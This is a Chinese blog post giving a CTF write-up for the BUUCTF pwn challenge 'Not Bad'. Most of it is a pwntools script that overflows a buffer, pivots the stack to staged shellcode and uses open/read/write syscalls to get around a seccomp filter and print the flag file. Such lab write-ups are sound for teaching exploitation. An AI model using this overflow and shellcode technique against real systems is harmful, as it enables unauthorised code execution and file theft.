BUUCTF之“[极客大挑战 2019]Not Bad 1”

Hvf0x

于 2021-12-16 11:17:15 发布

阅读量286

点赞数

CC 4.0 BY-SA版权

分类专栏：二进制pwn学习文章标签： pwn

本文链接：https://blog.csdn.net/Probeginner/article/details/121970271

二进制pwn学习专栏收录该内容

28 篇文章

订阅专栏

本文介绍了如何通过`seccomp-tools`检查可用系统调用，并运用`shellcraft`库进行高效的文件操作，如读写和创建文件。重点展示了如何设置context.binary和利用shellcode实现文件描述符3的使用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

WP:

from pwn import*
p=remote('node4.buuoj.cn',26870)
context.binary=ELF('./bad')
mmap_=0x123000
jmp_=0x400a01
paylado1=(asm(shellcraft.read(0,mmap_,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,b'\x00')+p64(jmp_)+asm("sub rsp,0x30;jmp rsp")
p.sendafter("Easy shellcode, have fun!",paylado1)
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read(3,mmap_+0x50,0x50))
shellcode+=asm(shellcraft.write(1,mmap_+0x50,0x50))
p.send(shellcode)
p.interactive()